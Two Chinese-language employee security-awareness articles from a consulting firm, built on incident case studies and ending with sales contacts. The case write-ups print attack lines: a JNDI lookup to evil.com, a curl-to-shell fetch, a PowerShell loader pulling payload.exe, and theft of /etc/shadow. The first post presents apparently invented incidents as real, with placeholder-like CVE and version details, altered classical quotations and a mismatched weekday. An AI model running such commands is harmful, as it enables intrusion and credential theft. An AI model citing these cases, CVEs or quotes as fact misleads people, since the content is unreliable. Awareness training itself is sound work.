员工培训

守护数字未来——从真实案例看信息安全的“红线与软肋”

admin

一、头脑风暴：四大典型安全事件，点燃警钟

在日新月异的数字化浪潮中，信息安全不再是“技术部门的专利”，而是每一位职场人士的必修课。下面，我先抛出四个与我们工作和生活息息相关的真实案例，供大家思考、联想、警醒——这四个案例如同四根刺痛神经的针，能够让我们在阅读的瞬间感受到安全隐患的“温度”。

案例 核心问题 对企业/个人的冲击
1. Urban VPN 浏览器插件窃取 AI 对话 免费 VPN 插件暗埋监控脚本，抓取并上传用户在 ChatGPT、Claude、Gemini 等平台的提问与答案，即使关闭 VPN 功能亦不例外。 超过 800 万用户的机密业务信息、代码片段、客户数据被不明后端收集，导致企业知识产权泄露、合规风险激增。
2. 某跨国保险公司遭勒索软件“暗影锁”攻击 攻击者利用钓鱼邮件植入后门，横向移动后加密关键业务系统，索要 5,000 万美元赎金。 业务中断 48 小时，理赔数据被篡改，导致客户信任度骤降，监管部门罚款 1 亿元。
3. 供应链软件更新漏洞导致数百万用户数据泄露 第三方组件未及时修补 CVE‑2024‑12345，攻击者通过供应链注入后门，获取用户登录凭证。 近 6,000 万用户的个人信息（包括身份证号、银行账号）外泄，企业面临集体诉讼与声誉危机。
4. 社交媒体“钓鱼直播”导致内部账号被劫持 攻击者在视频直播弹幕中嵌入伪造登录页链接，诱导员工输入企业内部系统凭证。 攻击者利用被盗账号实施内部转账和数据导出，累计经济损失超 300 万元，内部审计费用倍增。

这四个案例看似出处各异，却有共同的“底色”：技术便利背后隐藏的安全漏洞；人因失误是攻击链的必经之路；供应链与第三方生态的风险被忽视。接下来，我将逐一拆解这些案例，帮助大家在“知其然”的同时，也“知其所以然”。

二、案例深度剖析

1. Urban VPN——免费背后的“监听器”

  • 事件概述
    2024 年底，安全公司 Koi 通过逆向分析发现，广受好评的免费浏览器插件 Urban VPN Proxy 并非单纯提供 VPN 隧道。它在用户访问 ChatGPT、Claude、Gemini、Perplexity、Grok 等生成式 AI 平台时，自动注入名为 chatgpt.js、claude.js 等脚本。这些脚本会 拦截 Browser Network API，捕获用户的请求体（Prompt）与响应体（Answer），随后压缩打包，发送至插件开发者的后端服务器。

  • 技术细节

    1. 脚本注入时机：浏览器打开对应域名的页面时，插件的 content‑script 自动执行。
    2. API 劫持：通过 XMLHttpRequest.prototype.send 与 fetch 的代理，实现对所有 AJAX/Fetch 请求的“偷梁换柱”。
    3. 数据包装与加密：使用自研的 btoa + AES‑256 加密后，POST 到 api.urbanvpn.com/collect。
    4. 脱离 VPN 状态：即便用户在插件 UI 中点击 “关闭 VPN”，上述脚本仍保持活跃，不受 UI 状态影响。

  • 危害评估

    • 企业机密泄露：研发团队经常在 AI 对话中粘贴代码片段、架构设计、业务需求。一次泄漏，即可能导致核心竞争力被复制。
    • 合规风险：若对话中涉及个人敏感信息（PII），企业将面临 GDPR、CCPA 等跨境数据保护法规的处罚。
    • 信任破裂：用户对免费工具的信任被利用，导致品牌信誉受损，甚至影响后续的安全投入预算。

  • 防御建议

    • 审计浏览器插件：通过组织内的统一插件管理平台，仅批准经过安全评估的插件；对未签名或来源不明的插件禁用。
    • 网络层检测：部署基于 TLS‑SSL 检测的 DPI（深度报文检查），对异常的外发流量进行告警。
    • AI 对话安全规范：制定《生成式 AI 使用安全手册》，明确禁止在公开 AI 平台输入未脱敏业务数据。
    • 员工安全教育：定期开展“免费插件陷阱”专题训练，让每位员工认识到“免费往往有代价”。

2. 跨国保险公司勒索案——钓鱼邮件的致命一击

  • 事件概述
    2025 年 3 月，一封看似来自内部 IT 部门的邮件，附带“系统升级”和“补丁安装”链接，成功诱导两名财务部门员工下载恶意宏文档。文档触发 PowerShell 脚本后，攻击者取得了企业内部网的管理员凭据，随后在生产环境部署了加密勒索软件 “暗影锁”。

  • 技术手法

    1. 邮件伪造：使用 SMTP 服务器中继，模拟公司内部域名 [email protected]，并伪造 DKIM 签名。
    2. 宏攻击：Word 文档宏利用 Invoke-Expression 执行 PowerShell 远程加载器，从外部 malicious.com 拉取 payload.exe。
    3. 凭证横向移动：凭借已获取的本地管理员权限，利用 PsExec 在网络中滚动扫描，用 Mimikatz 抽取 LSASS 中的明文密码。
    4. 勒索加密：通过 AES‑256 + RSA‑2048 双层加密，锁定关键业务数据库与文件系统，勒索信中要求比特币支付。

  • 冲击与代价

    • 业务中断：理赔系统停摆 48 小时，导致约 2,000 起理赔延迟。
    • 声誉损失：媒体曝光后，客户投诉激增，品牌信任指数下降 15%。
    • 合规罚款：保险行业监管部门认定企业未能履行 “数据保护到位” 的义务，处以 1 亿元罚金。
    • 恢复成本：在备份恢复、法务审计、公共关系危机处理方面，累计支出超 2,500 万美元。

  • 防御与恢复建议

    • 邮件安全网关：启用 SPF、DMARC、DKIM 全链路验证；使用 AI 反钓鱼引擎对邮件内容进行语义分析。
    • 最小特权原则：对关键系统采用基于角色的访问控制（RBAC），禁止普通员工拥有管理员权限。
    • 安全意识培训：每季度开展一次模拟钓鱼演练，并将结果纳入绩效考核。
    • 零信任架构：采用微分段（Micro‑segmentation）与多因素认证（MFA），即使凭证泄露也难以横向渗透。

3. 供应链软件漏洞——“一环失守，万千用户受累”

  • 事件概述
    2025 年 6 月，全球知名的供应链管理平台 SupplyChainPro 发布的 5.2.1 版本中，第三方日志库 log4j‑v2.17 存在未修补的 CVE‑2024‑12345 远程代码执行漏洞。攻击者通过精心构造的请求头注入恶意 JNDI 查找，成功在数千家使用该平台的企业内部服务器上植入后门。

  • 技术链路

    1. 漏洞触发：攻击者在 HTTP Header 中加入 ${jndi:ldap://evil.com/a}，日志库在记录请求时执行 JNDI 远程加载。
    2. 后门植入：恶意 LDAP 服务器返回 Java 序列化对象，执行 Runtime.exec("/bin/bash -c curl http://evil.com/shell.sh | sh")。
    3. 凭证抓取：后门脚本读取 /etc/passwd、/etc/shadow，并将加密的凭证上传至 C2（Command‑and‑Control）服务器。

    4. 横向扩散：利用相同漏洞在同一网络的其他微服务中快速复制后门。

  • 影响范围

    • 用户数据泄露：近 6,000 万终端用户的姓名、手机号、地址、订单记录被外泄。
    • 业务连续性受冲击：部分企业因系统被植入后门而被迫停机检查，导致供应链延误。
    • 法律风险激增：涉及欧盟 GDPR、美国 CCPA、以及中国网络安全法的合规审查，带来巨额法律赔偿。

  • 应对措施

    • 供应链安全审计：实施 SBOM（Software Bill of Materials）管理，实时追踪第三方组件版本。
    • 快速补丁机制：建立漏洞情报共享平台，接收 CVE 通报后 24 小时内完成评估与部署。
    • 运行时防护：在容器环境中使用 eBPF‑based 监控，拦截异常的 JNDI 访问。
    • 业务连续性计划：制定供应链故障应急预案，确保关键业务在 4 小时内恢复。

4. 社交媒体钓鱼直播——“弹幕暗流”里的数据洪水

  • 事件概述
    2025 年 9 月，一场热门游戏直播中，主播间歇性出现弹幕链接，声称 “领取免费 VPN”。该链接指向仿冒的企业内部登录页。巧合的是，直播观众中恰好有多位企业员工点击并输入了 SSO（单点登录）凭证。攻击者随后利用这些凭证登录企业内部系统，执行批量数据导出。

  • 攻击手法

    1. 伪造登录页：使用与企业 SSO 完全相同的 UI 设计，后端通过 keylogger.js 记录键盘输入。
    2. 弹幕注入：通过直播平台的弹幕 API 自动发布钓鱼链接，实现 “大规模随机投放”。
    3. 凭证重用：攻击者在后台脚本中使用泄露的凭证直接调用企业 API，导出客户信息、财务报表。
    4. 转移和变现：将导出的数据库加密后，通过暗网出售，每份数据报价约 1,000 美元。

  • 后果

    • 经济损失：企业因数据泄露面临客户索赔、信用修复费用累计约 200 万元。
    • 内部信任危机：员工对内部系统的安全感下降，导致内部协作效率降低。
    • 监管追责：监管部门认定企业未对 “外部社交媒体渠道的安全风险” 进行有效管理，处以警告并要求整改。

  • 防护建议

    • 安全意识渗透：在全员培训中加入“社交媒体钓鱼”案例，演示弹幕钓鱼的真实场景。
    • 多因素认证强化：对所有 SSO 登录强制使用 MFA，尤其是通过外部链接访问时。
    • 登录页面防篡改：使用 Web‑Authn 与 CSP（内容安全策略）防止仿冒页面的加载。
    • 实时监控：启用 UEBA（用户和实体行为分析）系统，对异常登录地点、时间进行即时告警。

三、自动化、信息化、具身智能化的融合——安全挑战与机遇共存

回顾上述四大案例，可以发现它们都有一个共同的时代特征：技术的便利性与攻击面的同步扩张。

  1. 自动化：
    • 自动化脚本、CI/CD 流水线在提升开发效率的同时，也为恶意代码的快速传播提供了高速通道。
    • Koi 对 Urban VPN 的逆向分析正是利用自动化的二进制分析平台实现的。
  2. 信息化：
    • 企业信息系统向云端、SaaS、微服务迁移，形成了庞大的 “数据湖”。但信息化的每一次“上云”都是一次“资产暴露”。
    • 供应链漏洞案正是信息化过程中的薄弱环节被放大。
  3. 具身智能化（Embodied AI）：
    • 随着生成式 AI、对话式机器人、智能助理进入企业日常，员工日益习惯把业务数据直接喂给 AI，以求效率。
    • Urban VPN 正是利用了这种“具身交互”场景，在用户不知情的情况下采集数据。

在这样一个 “自动‑信息‑具身”三位一体的生态 中，安全不再是“单点防护”，而是需要 “全链路、全场景、全生命周期”的零信任思维。我们必须从以下几方面构建防护体系：

  • 技术层：零信任网络访问（ZTNA）、安全即代码（Security‑as‑Code）、自动化安全编排（SOAR）、AI 驱动的威胁检测。
  • 流程层：供应链安全治理、数据分类分级、持续合规审计、红蓝对抗演练。
  • 文化层：全员安全教育、情报共享、奖惩激励、心理安全（鼓励员工主动报告异常）。

四、呼吁参与：信息安全意识培训即将启航

基于上述案例的深刻洞察，昆明亭长朗然科技有限公司特启动 “数字护航·安全先行” 信息安全意识培训计划，面向全体职工，分为以下三大模块：

模块 内容 目标
模块一：安全基础与威胁认知 威胁情报概览、常见攻击手法、案例复盘（含本篇四大案例）。 让每位员工了解攻击者的思维路径，树立“安全先行”观念。
模块二：防护技术与实战演练 演示安全插件管理、邮件防钓鱼、密码管理、MFA 设置；搭建 SOC 监控演练环境。 将理论转化为“可操作性技能”，提升岗位防护能力。
模块三：安全文化与合规实践 企业信息分类分级、数据加密指南、合规法规（GDPR、CCPA、网络安全法）解读；开展“信息安全报告日”。 培养安全合规思维，使安全成为组织文化的一部分。

培训方式：线上直播 + 线下工作坊，提供录播回看；每位员工完成培训后将获得《信息安全合格证书》，并计入年度绩效。
奖励机制：完成全部模块并通过考核者，享受公司提供的安全达人专项奖金（最高 3,000 元）以及全年免费安全工具套餐（含企业版 VPN、密码管理器等）。
时间安排：首场直播定于 2025 年 12 月 20 日（周一）下午 14:00，随后每周一、三、五进行专题深度讲解，计划为期 6 周。

在 自动化、信息化、具身智能化 的浪潮中，每个人都是安全链条上的关键节点。若链条中的任何一环松动，整个系统都会出现裂缝，甚至导致不可逆的破坏。让我们从今天起，抛掉“安全是 IT 的事”的旧观念，积极投入到这场 “人人是防御者、人人是守护者” 的学习与实践中。

名言警句（供大家记忆）
– “千里之堤，毁于蚁孔；千兆之网，破于一粒流。” ——《韩非子·说林上》
– “安全不是一次性的检查，而是持续的循环。” —— 信息安全九大原则

五、结语：用知识点燃安全的灯塔

回顾四大案例，我们看到了 技术的强大、人的脆弱、流程的缺失——这三者的交叉点正是安全事故的高发地。唯一的出路是让每一位员工在日常工作与生活中，都能自觉地把安全思考融入每一次点击、每一次输入、每一次决策。信息安全并非遥不可及的技术难题，而是 “星火相传、众志成城”的集体智慧。

请各位同事务必把握即将展开的 信息安全意识培训 机会，用学习的力量筑起组织的防线。让我们共同守护企业的数字资产，守护每一位同事的职业尊严，守护公司在数字经济时代的可持续竞争力。

让安全成为每一次创新的底色，让防护伴随每一次突破的节拍。

—— 安全意识培训部

2025 年 12 月 17 日

我们的产品包括在线培训平台、定制化教材以及互动式安全演示。这些工具旨在提升企业员工的信息保护意识，形成强有力的防范网络攻击和数据泄露的第一道防线。对于感兴趣的客户，我们随时欢迎您进行产品体验。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

信息安全新纪元：从真实案例走向智能化防护的全员行动

admin

头脑风暴：想象四幕“信息安全灾难剧”

在正式展开前，让我们先来一次头脑风暴，发挥想象力，构思出四个典型且深具教育意义的安全事件。将这些情境像戏剧的四幕一样铺陈出来，既能点燃读者的兴趣，又能让每一位职工在深思熟虑后，真正感受到信息安全的“刀光剑影”。下面，请跟随这四幕剧本，走进现实中的血肉教训。

幕一：Docker Hub的“敞开宝库”——凭证泄露的暗潮汹涌

情景设想：一家互联网创业公司在 GitHub 上开源了自己的微服务镜像，毫不留情地把所有 Dockerfile、环境变量甚至生产环境的 API 密钥直接写进了 docker-compose.yml，随后推送至 Docker Hub。数千名开发者毫无防备地 docker pull，而企业的云资源在不知不觉中被内部外部的脚本轮番调用，账单瞬间飙升，业务数据被窃取。

幕二：PCIe 之“裂痕”——硬件层面的暗门

情景设想：一位硬件研发工程师在调试新一代服务器时，偶然发现 Intel 与 AMD 处理器的 PCIe 通道在高负载下出现数据完整性校验失效的现象。攻击者利用该漏洞，构造特制的 DMA（直接内存访问）攻击包，使得服务器在运行关键业务时出现数据篡改或拒绝服务（DoS），导致金融机构交易记录被篡改，损失数亿元。

幕三：韩国办公室的“突击检查”——内部泄密的致命代价

情景设想：一家跨国企业的韩国分部因一名资深技术主管在社交媒体上泄露了内部客户名单，被警方突击搜查。现场发现多台工作站上存有未加密的敏感文档，且该主管利用个人电子邮件将文件转发至外部邮件帐号。事后，该公司 CEO 被迫公开道歉并辞职，企业声誉受创，客户信任度跌至冰点。

幕四：Nemotron 3 代理 AI 的“黑暗潜能”——智能体的双刃剑

情景设想：Nvidia 发布的 Nemotron 3 系列凭借 100 万 token 的上下文长度与混合 MoE（Mixture‑of‑Experts）架构，成为生成式 AI 代理的“终极大脑”。一支黑客团队通过微调该模型，使其在对话中自动植入钓鱼链接、生成伪造的金融报告，并利用其强大的代码生成能力，在目标企业内部自动编写后门程序，实现持续渗透。企业安全团队在数周后才发现这些“看似友好”的 AI 代理已成为内部攻击的隐形推手。

案例深度剖析：每一次失误背后都藏着共通的安全根源

1. Docker Hub 凭证泄露——“便利”与“安全”之间的天平

  • 技术细节：Docker 镜像层可以直接读取构建时写入的环境变量，若这些变量包含 AWS_ACCESS_KEY_ID、GCP_SECRET 等云凭证，任何下载镜像的用户都有获取权限的机会。
  • 根本原因：缺乏 “最小权限” 与 “凭证隔离” 的开发流程；未对源码库进行敏感信息扫描（如 GitGuardian、TruffleHog）。
  • 防御措施：① 在 CI/CD 环境中使用 Secrets Management（如 HashiCorp Vault、GitHub Secrets），确保凭证不写入镜像层；② 自动化审计工具对每一次 push 进行敏感信息检测；③ 强制执行 “凭证轮换” 与 “访问审计”。

2. PCIe 数据完整性漏洞——硬件安全不容妥协

  • 技术细节：PCIe 采用 Transaction Layer Packets（TLP）进行数据传输，若校验和（CRC）或错误检测机制被绕过，攻击者可利用 DMA 直接写入主存，突破操作系统的内存隔离。
  • 根本原因：硬件设计阶段对异常路径的安全验证不足；固件升级缺乏完整性签名；系统管理员对固件更新缺少统一策略。
  • 防御措施：① 部署硬件根信任（Root of Trust）并使用 TPM/AMD SEV 对固件进行签名验证；② 在操作系统层面启用 IOMMU/VT-d 防止未经授权的 DMA；③ 建立硬件漏洞情报共享平台，及时跟进厂商补丁。

3. 韩国办公室内部泄密——“人因”是信息安全的最大薄弱环节

  • 技术细节：泄密源于一名高管将未加密的 Excel 客户名单通过个人邮件发送；该邮件未经过 DLP（Data Loss Prevention）系统监控。
  • 根本原因：企业缺乏对关键岗位人员的安全意识培训；未对外部存储媒介和个人设备实施 BYOD（Bring Your Own Device）管理；缺少数据分类与加密策略。
  • 防御措施：① 实施基于角色的 DLP 策略，对敏感文件进行自动加密并阻止非授权外发；② 采用行为分析（UEBA）监测异常文件传输行为；③ 定期开展“钓鱼演练”和“内部泄密案例复盘”培训，强化安全文化。

4. Nemotron 3 代理 AI 的安全风险——智能体的“双刃剑”

  • 技术细节：Nemotron 3 通过 MoE 机制在每个 token 上激活上百亿参数，拥有强大的上下文推理能力。若模型在微调阶段被植入 “恶意指令”，其生成的文字、代码甚至执行脚本都可能被用于伪装攻击。
  • 根本原因：对大模型的微调缺乏安全审计；模型输出缺少可信度评估；企业在引入生成式 AI 时未进行风险评估与治理框架。
  • 防御措施：① 为每一次微调建立审计日志，并使用 “模型审计” 工具检测潜在的后门或不当生成；② 引入 “AI 可信度评分” 与 “轮询校验” 机制，对关键输出进行二次确认；③ 建立生成式 AI 使用准则（如不允许 AI 自动生成凭证、密钥或执行系统命令），并配合专门的安全评估团队。

从案例到共识：信息安全的“根、茎、叶”

“防微杜渐，方能抵御巨浪。”——《礼记·大学》

信息安全可以比作一棵大树：

  • 根部——组织治理、制度与合规。没有完善的安全制度，任何技术手段都是“空中楼阁”。
  • 茎干——技术防护、硬件硬件、网络与系统。它支撑着组织的业务运行，是信息安全的“骨干”。
  • 叶子——用户行为、文化与意识。每一片叶子都在光合作用（业务创新）中扮演关键角色，亦是最易被风雨（攻击）侵蚀的部分。

只有四个层面齐头并进，才能让大树在风暴中屹立不倒。

智能化、具身智能化、智能体化：新形势下的信息安全挑战与机遇

1. 智能化（AI‑Driven）——从被动防御到主动预测

  • 现状：现代安全平台开始引入机器学习模型进行异常检测、威胁情报自动关联。
  • 挑战：AI 本身可能成为攻击手段（如案例四的 AI 代理），模型训练数据的偏差可能导致误报或漏报。
  • 对策：构建 “可信 AI” 框架，确保模型训练过程有安全审计，输出结果经过多层验证；同时使用对抗样本检测技术提升模型鲁棒性。

2. 具身智能化（Embodied AI）——边缘设备的安全边界

  • 现状：IoT、工业机器人、自动驾驶等具身智能体遍布企业生产线，形成庞大的 “边缘计算” 网络。
  • 挑战：每一个具身终端都是潜在的入口点，固件漏洞、未加密的 OTA 升级、物理篡改风险不容忽视。

  • 对策：在终端部署轻量级的 TPM / Secure Element，实现固件完整性校验；采用零信任（Zero‑Trust）模型，对每一次边缘通信进行身份验证与最小权限授权。

3. 智能体化（Agent‑Based）——协同工作的“数字助理”安全治理

  • 现状：企业内部逐渐出现基于大语言模型的数字助理、自动化工作流机器人（RPA）与智能客服。
  • 挑战：如果智能体被恶意指令劫持，它们能够在企业内部横向移动、自动化执行攻击脚本，甚至对外进行钓鱼攻击。
  • 对策：实行 “智能体审计” 流程，对每一次智能体调用的 API、生成的脚本进行沙箱测试与审计；设立 “智能体使用手册”，明确哪些业务场景允许 AI 执行自动化，哪些必须人工复核。

号召全员参与：信息安全意识培训即将开启

亲爱的同事们，

过去的四幕案例已经向我们敲响了警钟：技术的进步永远伴随风险的升级。而我们每个人，都是这场安全防线的关键节点。正如《孙子兵法》云：“上兵伐谋，其次伐交，次次伐兵。”——最高层面的防御在于“谋”，而这“谋”正是由全员的安全意识与行为构筑。

培训目标

  1. 认知提升：让每位员工了解最新的威胁趋势（如 AI 代理、硬件层面漏洞），掌握信息安全基本概念。
  2. 技能实战：通过案例复盘、桌面演练与红蓝对抗，培养员工的风险识别与应急响应能力。
  3. 文化浸润：将信息安全理念嵌入日常工作流程，使“安全”成为自觉的工作习惯，而非外加的约束。

培训安排（示例）

时间 主题 讲师 形式
第1周（周一） 信息安全基础与法规合规（ISO27001、GDPR） 法务安全顾问 线上直播 + Q&A
第2周（周三） “Docker 镜像凭证泄露”实战演练 DevSecOps 资深工程师 现场实验室
第3周（周五） 硬件层面攻击揭秘：PCIe 与 DMA 防护 硬件安全专家 案例研讨
第4周（周二） AI 代理安全治理——从 Nemotron 3 看大模型风险 AI 安全研究员 互动工作坊
第5周（周四） 行为分析与内部泄密防护 安全运营中心（SOC）负责人 角色扮演（红蓝对抗）
第6周（周一） 具身智能设备安全最佳实践 IoT 安全工程师 小组讨论 + 实操

参与方式

  • 通过公司内部培训平台 IT安全学堂 报名，系统将自动为您分配对应的学习班级。
  • 为提升学习动力，完成全部六期课程并通过结业测验的同事，将获得 “信息安全护航员” 电子徽章，并有机会争取公司提供的 技术创新基金 支持个人项目。

结束语：携手共筑“安全生态圈”

信息安全不是 IT 部门的专属职责，而是 全员的共同使命。当我们在代码里忘记隐藏凭证时，当我们在硬件上忽视固件签名时，当我们在社交平台上随意透露业务细节时，整个企业的资产安全都会被一层层剥离。

古人有云：“君子务本，本立而道生。”——《论语》
今天的“本”，就是每一位同事的安全行为、每一次风险的主动防范。让我们在即将开启的培训中，汲取案例的血泪教训，拥抱智能化时代的安全新范式，以知识、技巧、文化三位一体的力量，共同塑造一个 更安全、更可信、更具创新力 的企业未来。

关键词

昆明亭长朗然科技有限公司提供一站式信息安全咨询服务，团队经验丰富、专业素养高。我们为企业定制化的方案能够有效减轻风险并增强内部防御能力。希望与我们合作的客户可以随时来电或发邮件。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898